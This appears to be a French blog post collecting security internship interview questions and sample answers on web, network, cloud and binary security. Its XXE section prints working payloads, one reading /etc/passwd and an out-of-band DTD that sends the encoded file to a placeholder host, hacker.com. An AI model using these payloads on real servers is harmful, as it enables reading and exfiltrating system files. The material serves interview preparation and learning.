Cette page est un résumé des entretiens que j'ai passés, couvrant un éventail raisonnable de rôles. J'ai essuyé plusieurs refus, mais j'ai appris de chaque entretien, recueilli des retours constructifs et poursuivi. J'espère que ces questions/conseils pourront vous aider.
Les rôles généralement couverts sont les suivants :
- Stagiaire en cybersécurité
- Stagiaire en test d'intrusion / Équipe rouge (Red Team)
- Stagiaire en sécurité des applications web / applications
- Stagiaire en sécurité des produits
- Stagiaire en sécurité des infrastructures
Conseil rapide :
- Relisez votre CV et posez-vous des questions à son sujet à l'avance
- Si vous ne connaissez pas une question/un concept, ne tournez pas autour du sujet, indiquez que vous pourriez l'apprendre si on vous donne un environnement pour travailler
Vous ne pouvez pas tout savoir, soyez humble pour reconnaître si vous avez répondu de travers ou si vous avez besoin d'une clarification
- Préparez à l'avance une courte bio pour vous présenter
- Soyez sûr de votre objectif final et de votre intérêt pour l'infosec ?
- Enfin, n'hésitez pas à demander un retour à la fin de l'entretien, pourquoi ? Parce que : cela aide à connaître et à combler les lacunes de vos connaissances actuelles en infosec
J'ai essayé de noter ci-dessous toutes les questions possibles que j'ai rencontrées et j'ai fourni des réponses pour quelques-unes. Pour le reste, vous pouvez chercher leurs réponses spécifiques sur Google si vous voulez approfondir. En plus, il y a quelques références à la fin, jetez-y un œil. Elles ont vraiment été utiles.
J'aimerais ajouter d'autres questions au fur et à mesure que j'avance et que je vérifie mes notes. Cependant, j'apprécierais que vous puissiez me donner un retour constructif en me contactant via [email protected]. Si vous rencontrez quelque chose qui n'est pas couvert ici, n'hésitez pas à le partager.
Questions courantes
- Triades de sécurité :
Qu'est-ce que la CIA ?
- Confidentialité
- Intégrité
- Disponibilité
Qu'est-ce que l'AAA ?
- Authentification
- Autorisation
- Traçabilité
- Différence entre Menace, Vulnérabilité, Exploit et Risque, et comment ils sont liés aux Actifs
- Menace :
Une menace est ce contre quoi nous essayons de nous protéger
- Vulnérabilité :
Une vulnérabilité est une faiblesse ou une lacune dans nos efforts de protection
- Exploit :
Une capacité/programme (peut être un logiciel ou une compétence en ingénierie sociale) qui a été développé pour attaquer un actif en tirant parti d'une vulnérabilité
- Risque :
Le risque est l'intersection des actifs, des menaces et des vulnérabilités
- Actif :
Un actif est ce que nous essayons de protéger
- Qu'est-ce que l'IAM et pourquoi est-elle utilisée ?
L'IAM est la gestion des identités et des accès (Identity Access Management) qui sert à séparer les rôles et les responsabilités au sein d'une organisation. C'est un élément critique de la sécurité. Elle aide à maintenir la sécurité au niveau des accès et les privilèges.
Sécurité en général
Phases d'une attaque d'intrusion réseau :
- Reconnaissance / Collecte d'informations
- Obtention de l'accès nécessaire
- Maintien de l'accès
- Dissimulation des traces (suppression des journaux, backdoors et masquage de tous les contrôles)
Sécurité des applications web
- Question courante :
-
OWASP Top 10
-
Qu'est-ce que le XSS (Cross-site Scripting) ?
-
Qu'est-ce que le CSRF ?
C'est la question la plus agréable que chaque intervieweur adore poser
Conseil rapide : Soyez bref, si on vous le demande, n'expliquez toute l'histoire que là.
Le Cross-Site Request Forgery (CSRF) est une attaque qui force un utilisateur final à exécuter des actions non souhaitées sur une application web dans laquelle il est déjà authentifié. Les attaques CSRF ciblent spécifiquement les demandes qui modifient l'état, pas le vol de données, car l'attaquant n'a aucun moyen de voir la réponse à la demande forgée. Avec un peu d'ingénierie sociale (comme l'envoi d'un lien par e-mail ou par chat), un attaquant peut amener les utilisateurs d'une application web à exécuter des actions de son choix. Si la victime est un utilisateur normal, une attaque CSRF réussie peut forcer l'utilisateur à effectuer des demandes modifiant l'état comme transférer des fonds, changer son adresse e-mail, etc. Si la victime est un compte administratif, le CSRF peut compromettre l'ensemble de l'application web.
-
Comment lutter contre le CSRF :
Utilisez des jetons anti-CSRF
Utilisez la politique de même origine
Utilisez l'en-tête Referrer
-
Qu'est-ce que l'encodage HTML/URL ?
-
Le protocole HTTP est-il sans état ?
HTTP est un protocole intrinsèquement sans état, mais le serveur utilise des cookies pour le rendre avec état.
-
Quels sont les types d'injections : SQL, Commandes, OS
-
Comment lutter contre les injections SQL
Utilisez des requêtes paramétrées et des procédures stockées
- Vérifiez les en-têtes qui aident à fournir de la sécurité (consultez les URL et parcourez le contenu, cela aidera à construire vos fondamentaux) :
- Il y aurait des scénarios rares où un intervieweur poserait ces questions. J'ai rencontré les suivantes dans les dernières étapes de quelques entretiens, j'ai pensé à les mentionner :
- Qu'est-ce que l'XXE (XML External Entities) ?
L'injection d'entités externes XML (également connue sous le nom d'XXE) est une vulnérabilité de sécurité web qui permet à un attaquant d'interférer avec le traitement des données XML d'une application. Elle permet souvent à un attaquant de consulter des fichiers sur le système de fichiers du serveur d'application et d'interagir avec tout système backend ou externe auquel l'application elle-même peut accéder.
Consultez ceci [https://portswigger.net/web-security/xxe]
Ex. :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Dans certaines situations, un attaquant peut faire passer une attaque XXE à un niveau supérieur pour compromettre le serveur sous-jacent ou d'autres infrastructures backend, en exploitant la vulnérabilité XXE pour effectuer des attaques de falsification de requête côté serveur (SSRF).
- Hors bande (Out-Of-Band) - en utilisant des entités XML, les données du serveur peuvent être récupérées et envoyées à hacker.com (aucune sortie serveur requise).
À injecter : document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
Hôte externe : http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Réf : [https://phonexicum.github.io/infosec/xxe.html]
Sécurité réseau
- Différence entre la cryptographie symétrique et asymétrique
- Différence entre la cryptographie à clé publique et la cryptographie à clé asymétrique : les deux sont identiques Question piège
- Modes en cryptographie (par ex. EBC, CBC, etc.)
- Qu'est-ce que la confidentialité persistante parfaite (Perfect Forward Secrecy)
[https://scotthelme.co.uk/perfect-forward-secrecy/]
En termes simples, le rôle principal de la PFS est de s'assurer qu'en cas de compromission de la clé privée d'un serveur, un attaquant ne pourra pas déchiffrer les communications TLS antérieures. La confidentialité persistante parfaite est possible grâce à l'échange de clés éphémères Diffie-Hellman, qui fournit de nouvelles clés pour chaque session et reste valide tant que la session est active.
- Aperçu des suites de chiffrement :
Ex. : TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- Lors de la compression et du chiffrement des données, qu'est-ce qui se passe en premier, la compression ou le chiffrement ?
La compression se produit en premier, car l'entropie (répartition) du caractère aléatoire dans les données est faible, ce qui permet d'obtenir un taux de compression plus élevé. Il est donc avantageux de compresser d'abord, puis de chiffrer.
- Différence entre chiffrement, encodage, hachage et obscurcissement
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- Qu'est-ce qu'une table arc-en-ciel (Rainbow table) : En bref, c'est une collection de hachages précalculés
- Comment fonctionne TLS ?
C'est une image incroyable que j'ai découverte par hasard, elle m'a aidé à comprendre TLS en langage simple
http://i.imgur.com/5T2fJsG.png
- Qu'est-ce que la signature de certificat
- Comment fonctionne Traceroute
- Comment fonctionne Nmap
- Qu'est-ce qu'une autorité de certification (CA)
- Qu'est-ce qu'une DMZ et quels sont les composants impliqués
- Sur quel port ping fonctionne-t-il ?
Une question piège, c'est certain, mais importante.
Indice : ICMP est un protocole de couche 3 (il ne fonctionne pas sur un port). Une bonne variante de cette question consiste à demander si ping utilise TCP ou UDP. Répondre l'un ou l'autre est un échec, car ce sont des protocoles de couche 4.
Sécurité du cloud
Je parlerai en général d'AWS, mais il existe d'autres fournisseurs de cloud comme Azure, GCP, Digital Ocean, etc..
- Composants généraux d'AWS :
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- Qu'est-ce que l'IAM et ses composants : Pour être bref, l'IAM est utilisée pour la gestion des accès, où elle utilise des rôles (pour un accès temporaire), des politiques, des groupes et des utilisateurs pour son fonctionnement.
- Qu'est-ce qu'EC2 : C'est une instance Elastic pour créer une machine virtuelle.
- EC2 a-t-il un chiffrement : Oui. Le chiffrement Amazon EBS offre une solution de chiffrement simple pour vos volumes EBS sans avoir à créer, maintenir et sécuriser votre propre infrastructure de gestion des clés. Le chiffrement Amazon EBS utilise les clés maîtresses client (CMK) d'AWS Key Management Service (AWS KMS) lors de la création de volumes chiffrés et de toutes les snapshots créées à partir de ceux-ci.
On peut en trouver plus ... ci-dessous
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
Exploitation binaire
- Outils pouvant être utilisés pour déboguer un binaire :
Linux: gdb, radare, clutter (GUI pour radare)
Windows: IDA, Binary Ninja
- Qu'est-ce qu'un débordement de tampon (Buffer Overflow)
- Qu'est-ce qu'une vulnérabilité de chaîne de format
- Différence entre la pile (Stack) et le tas (Heap) (Vous pouvez également envisager d'examiner les régions Code, Text et Bss)
- Que sont les cookies de pile (Stack Cookies)
- Qu'est-ce que l'ASLR et pourquoi est-il utilisé ?
- Qu'est-ce que la mémoire non exécutable ?
Références
Ressource d'apprentissage :
https://regexone.com/ (Les expressions régulières sont indispensables !)
https://portswigger.net/web-security/
OWASP Top 10 :
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Questions d'entretien Infosec :
https://danielmiessler.com/study/infosec_interview_questions
Meilleures questions Pentest :
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Astuces Python :
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
Guide de l'utilisateur AWS :
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
Aperçu sur SMB et Samba :
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/